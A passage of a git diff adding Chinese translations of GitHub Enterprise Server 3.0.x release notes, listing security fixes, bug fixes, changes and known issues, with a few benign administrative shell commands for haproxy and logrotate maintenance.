清单文件,导致日志中的 HTTP 500 错误。 + - 禁用 GitHub Actions 有时会失败。 + - 自定义预接收挂钩不允许写入 `/tmp`,从而阻止某些脚本正常运行。 + - 在多个地方复制了系统日志。 + - 在 GitHub Enterprise 11.10.x 或更早版本上设置的时区在升级到 3.0 后被重置为 UTC 时间,导致时间戳在某些情况下改变。 + - 单击存储库上包侧边栏中的“发布你的第一个包”将导致空白页面。 + - 站点管理员在尝试查看从专用存储库引用的问题时可能会收到 500 错误页面。 + - 禁用 GitHub Packages 后,一些组织页面会返回 HTTP 500 错误响应。 + - 从 GitHub Enterprise Server 导入缺少存储库文件的存储库存档将失败并报告错误。 + - "存储库[部署密钥](/developers/overview/managing-deply-keys) 无法用于包含 LFS 对象的存储库。" + - 在存储库包侧边栏中,Docker 图标是灰色的,工具提示显示“此服务已弃用”。 + - 使用 `application/x-www-form-urlencoded` 的内容类型配置的 Webhook 在 POST 请求正文中未接收到查询参数。 + - 用户无需选中所有复选框即可关闭必读消息。 + - 在某些情况下,从 2.22.X 实例升级后,web 接口资产丢失,页面无法正确显示。 + - 运行 `ghe-config-apply` 可能会超时,并且因“找不到 stanza 作业”而出现“等待 nomad 作业应用失败”。 + known_issues: + - 在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。 + - 在升级期间不会维护自定义防火墙规则。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "启用维护模式后,某些服务会继续列为“活动进程”。确定的服务预计将在维护模式期间运行。如果遇到此问题并且不确定,请联系 [GitHub Enterprise 支持](https://support.github.com/contact)。" + - 如果笔记本包含非 ASCII UTF-8 字符,则无法在 Web UI 中显示 Jupyter Notebook。 + - 可能无法在 Web UI 中显示 reStructuredText (RST),反而显示原始 RST 标记文本。 + - Pages 的旧版本未清理,可能会填充用户磁盘 (`/data/user/`)。 + - 如果在合并拉取请求后删除分支,即使分支删除成功也会出现错误消息。 + - |用户可能会遇到资产问题,例如头像未加载,或推送/拉取代码失败。这可能是由于 `haproxy-cluster-proxy` 服务中的 PID 不匹配造成的。若要确定实例是否受到影响: + + + +**单实例** + + + +1.在[管理 shell](https://docs.github.com/en/enterprise-server/admin/configuration/accessing-the-administrative-shell-ssh) (SSH) 中运行: + + + + ``` + + if [ $(cat /var/run/haproxy-cluster-proxy.pid) -ne $(systemctl show --property MainPID --value haproxy-cluster-proxy) ]; then echo ''Main PID of haproxy-cluster-proxy does not match /var/run/haproxy-cluster-proxy.pid''; fi + + ``` + + + +2.如果显示不匹配,请重启实例。 + + + +**群集或高可用性配置** + + + +1.在[管理 shell](https://docs.github.com/en/enterprise-server/admin/configuration/accessing-the-administrative-shell-ssh) (SSH) 中运行: + + + + ``` + + ghe-cluster-each -- ''if [ $(cat /var/run/haproxy-cluster-proxy.pid) -ne $(systemctl show --property MainPID --value haproxy-cluster-proxy) ]; then echo ''Main PID of haproxy-cluster-proxy does not match /var/run/haproxy-cluster-proxy.pid''; fi'' + + ``` + + + +2.如果显示一个或多个节点受到影响,请重启受影响的节点。 + +| + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/20.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/20.yml new file mode 100644 index 0000000000..1cc77e86b1 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/20.yml @@ -0,0 +1,21 @@ +date: '2021-11-23' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 如果未定义 `PATH`,预接收挂钩会失败。 + - '如果曾将实例配置为副本,运行 `ghe-repl-setup` 会返回错误:“无法创建目录 /data/user/elasticsearch:文件已存在”。' + - 在大型群集环境中,某部分前端节点可能无法使用身份验证后端。 + - 在 GHES 群集的后端节点上,一些关键服务可能不可用。 + changes: + - 在使用 `ghe-cluster-suport-bundle` 创建群集支持包时,现在会默认关闭额外一层的外部 `gzip` 压缩。使用 `ghe-cluster-suport-bundle -c` 命令行选项可以选择应用此外部压缩。 + - 我们在管理控制台添加了额外的文本,以提醒用户移动应用的数据收集,目的是改善体验。 + - "{% data variables.product.prodname_github_connect %} 数据连接记录现在会列出已启用的 {% data variables.product.prodname_github_connect %} 功能。[更新时间:2021-12-09]" + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/21.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/21.yml new file mode 100644 index 0000000000..7300a26391 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/21.yml @@ -0,0 +1,22 @@ +date: '2021-12-07' +sections: + security_fixes: + - 支持包可以包含敏感文件,前提是它们满足一组特定条件。 + - "在 GitHub Enterprise Server 中发现了一个 UI 虚假陈述漏洞,该漏洞允许在 GitHub 应用程序的用户授权 Web 流期间授予比在审批期间向用户显示的更多权限。此漏洞影响 GitHub Enterprise Server 3.3 之前的所有版本,已在 3.2.5、3.1.13 和 3.0.21 中修复。此漏洞通过 GitHub Bug 赏金计划报告,编号为 [CVE-2021-41598](https://www.cve.org/CVERecord?id=CVE-2021-41598)。" + - "在 GitHub Enterprise Server 中发现了一个在构建 GitHub Pages 站点时可以利用的远程代码执行漏洞。此漏洞影响 GitHub Enterprise Server 3.3 之前的所有版本,已在 3.0.21、3.1.13 和 3.2.5 中修复。此漏洞通过 GitHub Bug 赏金计划报告,编号为 [CVE-2021-41599](https://www.cve.org/CVERecord?id=CVE-2021-41599)。更新时间:2022 年 2 月 17 日。" + bugs: + - 由于 `/data/user/tmp/pages` 中存在权限问题,运行 `ghe-config-apply` 有时可能会失败。 + - 管理控制台中的错误配置导致了调度错误。 + - Docker 会在日志轮换后保持日志文件打开。 + - GraphQL 请求未在预接收挂钩环境中设置 GITHUB_USER_IP 变量。 + changes: + - 阐明了文档中对 Actions 路径样式的解释。 + - 更新支持联系 URL 以使用当前支持站点 support.github.com。 + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 将在升级过程中删除自定义防火墙规则。 + - "Git LFS 跟踪的 [通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories) 文件被错误地直接添加到存储库。" + - 如果问题包含指向同一存储库中 Blob 的永久链接,且 Blob 的文件路径长度超过 255 个字符,则无法关闭问题。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置中脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能会导致某些预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/22.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/22.yml new file mode 100644 index 0000000000..c2407b0ed8 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/22.yml @@ -0,0 +1,13 @@ +date: '2021-12-13' +sections: + security_fixes: + - '{% octicon "alert" aria-label="The alert icon" %} **严重:**在 Log4j 库中发现远程代码执行漏洞,该漏洞会影响 3.3.1 之前的所有 {% data variables.product.prodname_ghe_server %} 版本,漏洞编号为[CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228)。Log4j 库用于在 {% data variables.product.prodname_ghe_server %} 实例上运行的开源服务。已在 {% data variables.product.prodname_ghe_server %} 3.0.22、3.1.14、3.2.6 和 3.3.1 中修复该漏洞。 有关详细信息,请参阅 GitHub 博客[文章](https://github.blog/2021-12-13-githubs-response-to-log4j-vulnerability-cve-2021-44228/)。' + - '**2021 年 12 月 17 日更新**:此版本中的修复也能缓解在该版本之后发布的 [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046)。无需再升级 {% data variables.product.prodname_ghe_server %},即可缓解 CVE-2021-44228 和 CVE-2021-45046。' + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/23.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/23.yml new file mode 100644 index 0000000000..0ea086a5a9 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/23.yml @@ -0,0 +1,19 @@ +date: '2022-01-18' +sections: + security_fixes: + - '包已更新到最新的安全版本。在这些更新中,Log4j 已更新至版本 2.17.1。注意:以前在 3.3.1、3.2.6、3.1.14 和 3.0.22 中发布的缓解措施已经足够解决这些 GitHub Enterprise Server 版本中 CVE-2021-44228、CVE-2021-45046、CVE-2021-45105 和 CVE-2021-44832 的影响。' + - 清理生成的支持包中的更多机密 + - 包已更新到最新的安全版本。 + bugs: + - 由于 `/data/user/tmp/pages` 中存在权限问题,`ghe-config-apply` 的运行有时可能会失败。 + - 在低分辨率的浏览器中滚动,可能无法找到管理控制台中的保存按钮。 + - Collectd 版本升级后,IOPS 和存储流量监视图未更新。 + - 一些与 Webhook 相关的作业可能会产生大量的日志。 + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/24.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/24.yml new file mode 100644 index 0000000000..6023a57e4c --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/24.yml @@ -0,0 +1,20 @@ +date: '2022-02-01' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 在 MySQL 机密轮换后,页面将不可用,直到手动重启 `nginx`。 + - 使用 ISO 8601 日期设置维护计划时,由于时区未转换为 UTC,因此实际计划时间将不匹配。 + - 使用 `ghe-cluster-each` 安装热补丁后,版本号将无法正确更新。 + - 有关 `cloud-config.service` 的虚假错误消息将输出到控制台。 + - 使用 CAS 身份验证并启用“重新激活暂停的用户”选项时,暂停的用户不会自动重新激活。 + changes: + - GitHub Connect 数据连接记录现在包括活动和休眠用户数量计数以及配置的休眠期。 + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/25.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/25.yml new file mode 100644 index 0000000000..1a2d52c290 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/25.yml @@ -0,0 +1,12 @@ +date: '2022-02-17' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "Git LFS 跟踪的文件[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories) 被错误地直接添加到仓库。" + - 如果议题包含文件路径长于 255 个字符的同一仓库中 blob 的永久链接,则议题无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,私有和内部仓库中的议题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/3.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/3.yml new file mode 100644 index 0000000000..02631f09e6 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/3.yml @@ -0,0 +1,49 @@ +date: '2021-03-23' +intro: 由于影响多个客户的重大错误,已禁用下载。修复程序将在下一个补丁中提供。 +sections: + security_fixes: + - '**高:**在 GitHub Enterprise Server 中发现了一个在构建 GitHub Pages 站点时可以利用的远程代码执行漏洞。GitHub Pages 使用的用户控制配置选项没有受到足够的限制,因此可以替代导致在 GitHub Enterprise Server 实例上执行代码的环境变量。要利用此漏洞,攻击者需要获得在 GitHub Enterprise Server 实例上创建和构建 GitHub Pages 站点的权限。此漏洞影响 3.0.3 之前的所有 GitHub Enterprise Server 版本,并在 3.0.3, 2.22.9 和 2.21.17 中得到了修复。此漏洞通过 GitHub Bug 赏金计划报告,编号为 CVE-2021-22864。' + - 包已更新到最新的安全版本。 + bugs: + - 运行 `ghe-cluster-config-init` 可能会使群集无法操作。 + - 在存储库上配置自定义预接收挂钩时,在 GUI 中解析合并冲突将失败。 + - '`launch-deplauncher` 和 `launch-recever` 在 DEBUG 级别记录日志,并使用不必要的信息填充日志。' + - 系统可能无法跟踪 HAProxy PID。 + - 将 Actions 配置为使用 S3 存储后,操作的日志有时会加载失败。 + - 在成功进行故障转移后,mysql-failover 警告无限期地显示。 + - "`ghe-cluster-config-init` 运行未完全考虑后台作业的退出代码,导致预检检查的处理不当。" + - 启用 GitHub Actions 时,初始化可能会以静默方式失败。 + - 启用漏洞警报后,升级到 3.0 系列的操作将失败。 + - 与 Codespace 有关的作业在排队,导致未处理的作业累积。 + changes: + - 即使有几个节点关闭,对 consul 和 nomad `bootstrap_expect` 使用相对编号也可使群集启动。 + - 除时间外,日志还会根据大小轮换。 + - 已将 kafka lite 添加到 `ghe-cluster-status` 命令。 + known_issues: + - 在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。 + - 在升级期间不会维护自定义防火墙规则。 + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。" + - 如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "启用维护模式后,某些服务会继续列为“活动进程”。确定的服务预计将在维护模式期间运行。如果遇到此问题并且不确定,请联系 [GitHub Enterprise 支持](https://support.github.com/contact)。" + - 如果笔记本包含非 ASCII UTF-8 字符,则 Web UI 中的 Jupyter Notebook 渲染可能会失败。 + - Web UI 中的 reStructuredText (RST) 渲染可能会失败,并显示原始 RST 标记文本。 + - Pages 的旧内部版本未清理,可能会占用用户磁盘 (`/data/user/`)。 + - 在合并拉取请求后删除分支时,尽管分支删除成功,但仍会出现错误消息。 + - |日志轮换可能无法通知服务转换到新的日志文件,导致继续使用旧的日志文件,最终耗尽根磁盘空间。 + +要补救和/或防止此问题,请在[管理 shell](https://docs.github.com/en/enterprise-server/admin/configuration/accessing-the-administrative-shell-ssh) (SSH) 中运行以下命令,或联系 [GitHub Enterprise 支持](https://support.github.com/)寻求帮助: + + + +``` + +printf "PATH=/usr/local/sbin:/usr/local/bin:/usr/local/share/enterprise:/usr/sbin:/usr/bin:/sbin:/bin\n29,59 * * * * root /usr/sbin/logrotate /etc/logrotate.conf\n" | sudo sponge /etc/cron.d/logrotate + +sudo /usr/sbin/logrotate -f /etc/logrotate.conf + +``` + +| + - "当副本节点在高可用性配置下脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能会导致某些预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/4.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/4.yml new file mode 100644 index 0000000000..15a89606aa --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/4.yml @@ -0,0 +1,27 @@ +date: '2021-04-01' +intro: "对于 {% data variables.product.prodname_ghe_server %} 3.0+,最低基础结构要求已经增加。有关详细信息,请参阅“[关于 GitHub Enterprise Server 3.0 及更高版本的最低要求](/admin/enterprise-management/upgrading-github-enterprise-server#about-minimum-requirements-for-github-enterprise-server-30-and-later)”。" +sections: + security_fixes: + - "**高:**在 GitHub Enterprise Server 中发现了一个不适当的访问控制漏洞,该漏洞允许根据 GitHub 应用的 [Web 身份验证流](https://docs.github.com/en/developers/apps/identifying-and-authorizing-users-for-github-apps#web-application-flow)生成的访问令牌通过 REST API 读取专用存储库元数据,而无需获取适当的权限。若要利用这个漏洞,攻击者需要在实例上创建 GitHub 应用,并让用户通过 Web 身份验证流对应用程序进行授权。返回的专用存储库元数据将仅限于令牌标识的用户拥有的存储库。此漏洞影响 GitHub Enterprise Server 3.0.4 之前的所有版本,并在 3.0.4、2.22.10 和 2.21.18 版本中得到了修复。此漏洞编号为 CVE-2021-22865,并通过 [GitHub Bug 赏金计划](https://bounty.github.com)报告。" + - 包已更新到最新的安全版本。 + bugs: + - 启用维护模式时,尽管某些服务应该运行但不应列出,它们仍被列为“活动进程”。 + - 在启用 GitHub Actions 的情况下从 2.22.x 升级到 3.0.x 后,自承载运行器版本没有更新,也没有自承载更新。 + - 旧 GitHub Pages 版本未进行清理,导致磁盘使用量增加。 + - '`memcached` 未在活动的副本上运行。' + - 在启用 GitHub Actions 的情况下更新文件权限时升级失败。 + - 某些默认采用 UTC 时间的服务未使用在 GitHub Enterprise 11.10.x 或更早版本上设置的时区。 + - 服务未在日志轮换过程中转换到新的日志文件,导致磁盘使用量增加。 + - "`ghe-saml-mapping-csv` 命令行实用工具生成了一条警告消息。" + - 内部存储库搜索结果上的标签显示为“专用”而不是“内部”。 + known_issues: + - 在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。 + - 在升级期间不会维护自定义防火墙规则。 + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。" + - 如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - 如果笔记本包含非 ASCII UTF-8 字符,则 Web UI 中的 Jupyter Notebook 渲染可能会失败。 + - Web UI 中的 reStructuredText (RST) 渲染可能会失败,并显示原始 RST 标记文本。 + - 在合并拉取请求后删除分支时,尽管分支删除成功,但仍会出现错误消息。 + - "当副本节点在高可用性配置下脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能会导致某些预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/5.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/5.yml new file mode 100644 index 0000000000..e7537e5b79 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/5.yml @@ -0,0 +1,28 @@ +date: '2021-04-14' +intro: "对于 {% data variables.product.prodname_ghe_server %} 3.0+ 的最低基础设施要求已经增加。有关详细信息,请参阅“[关于 GitHub Enterprise Server 3.0 及更高版本的最低要求](/admin/enterprise-management/upgrading-github-enterprise-server#about-minimum-requirements-for-github-enterprise-server-30-and-later)”。" +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 有些日志未包含在日志转发配置中。 + - '警告消息 `jq: error (at :0): Cannot index number with string "settings"` 可能在副本升级期间出现。' + - 由于 MySQL 副本无法连接到主数据库,因此将备份连续还原到群集可能会失败。 + - 使用自定义 CA 证书时页面未发布。 + - 与子域相关的包未显示在“测试域设置”提示中以进行子域隔离。 + - 通过 Webhook 发送的 `X-GitHub-Enterprise-Host` 标头包含一个随机字符串,而不是发送 HTTP POST 有效负载的 GitHub Enterprise Server 实例的主机名。 + - 如果先前启用了 GitHub Actions,但在升级之前被禁用,则从 2.22.x 升级到 3.0.x 将会失败。 + - 访问 `/settings/email` 页面会存储状态,在退出登录并重新登录时可能导致错误的重定向。 + - 在问题评论中通过提及功能直接提及团队时,GitHub 集成应用程序无法通知团队。 + - reStructuredText (RST) 渲染在 Web UI 中可能失败,反而显示原始 RST 标记文本。 + - 如果未完全启用依赖项关系图,则不会将密码扫描警报的电子邮件通知发送给授权用户。 + - 当 ghe-migrator 遇到导入错误时,它有时会中止整个进程,但日志中没有包含足够的上下文。 + - 具有非 ASCII 字符的 Jupyter 笔记本可能无法渲染。 + known_issues: + - 在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。 + - 在升级期间不会维护自定义防火墙规则。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - 在合并拉取请求后删除分支时,即使分支删除成功也会出现错误消息。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/6.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/6.yml new file mode 100644 index 0000000000..32d81e475c --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/6.yml @@ -0,0 +1,31 @@ +date: '2021-04-28' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 在升级过程中,进程将在“清理 Nomad 作业”之后无限期暂停。 + - '`ghe-cluster-failover` 失败,出现错误消息 `Trilogy::Error: trilogy_connect`。' + - '`ghe-cluster-status-mysql` 将有关故障转移的警告显示为错误。' + - 在 MySQL 副本上运行的安装脚本可能已导致数据库故障转移期间不必要的数据库重新播种。 + - 升级未包括正确安装最新版本的 Actions 运行器。 + - '`github-env` 配置可能导致僵停进程。' + - '由于不必要地调用 `rake db:migrate`,`config-apply` 可能需要更长的时间。' + - Orchestrator 可能已故障转移到 MySQL 副本,当主数据库无法连接时,它无法在播种阶段从主数据库复制。 + - 出现错误的组织或项目阻止了迁移,无法排除。 + - 对于所属组织超过 50 个的用户禁用了“创建存储库”按钮。 + - 删除分支会临时闪烁一条错误消息,指示删除成功时出错。 + - "`rms-packages` 索引显示在站点管理员仪表板中。" + - 由于表单上未显示正确的可见性选项,因此组织所有者无法创建内部存储库。 + - 在操作启动工作流程配置错误的情况下,存储库操作选项卡显示 500。 + - 由于选择了最完整的磁盘而不是空节点,存储主机超过三个的客户无法恢复到其灾难恢复群集。 + - 应用热补丁后,代码扫描后端服务无法可靠启动。 + changes: + - 默认情况下,预运行检查允许所有 AWS 实例类型。 + known_issues: + - 在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。 + - 在升级期间不会维护自定义防火墙规则。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/7.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/7.yml new file mode 100644 index 0000000000..13f84f66fd --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/7.yml @@ -0,0 +1,24 @@ +date: '2021-05-13' +sections: + security_fixes: + - "**高:**在GitHub Enterprise Server 中发现 UI 表述错误漏洞,在审批阶段,该问题会导致在 GitHub 应用用户授权 Web 流中授予超过 UI 显示的权限。要利用这个漏洞,攻击者需要在实例上创建 GitHub 应用,并让用户通过 Web 身份验证流对应用程序进行授权。所有被授予的权限将在第一次授权时正确显示,但在某些情况下,如果用户在 GitHub 应用已配置额外的用户级别权限后重新访问授权流,这些额外的权限可能不会显示,这样会导致授予可能超过用户初衷的权限。此漏洞影响 GitHub Enterprise Server 3.0.x 到 3.0.7 版本以及 2.22.x 到 2.22.13 版本。3.0.7 和 2.22.13 版本中修复了该问题。该漏洞编号为 CVE-2021-22866,是通过[GitHub Bug 悬赏计划](https://bounty.github.com/) 报告的。" + - 包已更新到最新的安全版本。 + bugs: + - 操作或包存储配置中包含的引号可能会导致错误。 + - 由于文件大小或打开文件数量的限制过于严格,自定义预接收挂钩可能会失败。 + - 在配置应用阶段可以启用 Orchestrator 自动故障转移。 + - 具有仓库维护员权限的用户会收到电子邮件验证警告,而不是在仓库 Pages 设置页面上构建成功的页面。 + - 通配符规则的代码所有者将被错误地添加到代码所有者徽章的所有者列表中,即使该路径优先使用较新的规则。 + - OpenAPI 文档引用了无效的标头。 + - 在创建或编辑预接收挂钩时,用户界面中的竞争情况意味着在选择仓库后,仓库中的文件有时不会填充到文件下拉列表中。 + changes: + - 添加了 HAProxy 重载时配置更改的日志记录。 + - 添加了仓库创建的日志记录。 + known_issues: + - 在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。 + - 在升级期间不会维护自定义防火墙规则。 + - "Git LFS 跟踪的文件[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories) 被错误地直接添加到仓库。" + - 如果议题包含文件路径长于 255 个字符的同一仓库中 blob 的永久链接,则议题无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,私有和内部仓库中的议题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/8.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/8.yml new file mode 100644 index 0000000000..52ca8b7cac --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/8.yml @@ -0,0 +1,27 @@ +date: '2021-05-25' +sections: + security_fixes: + 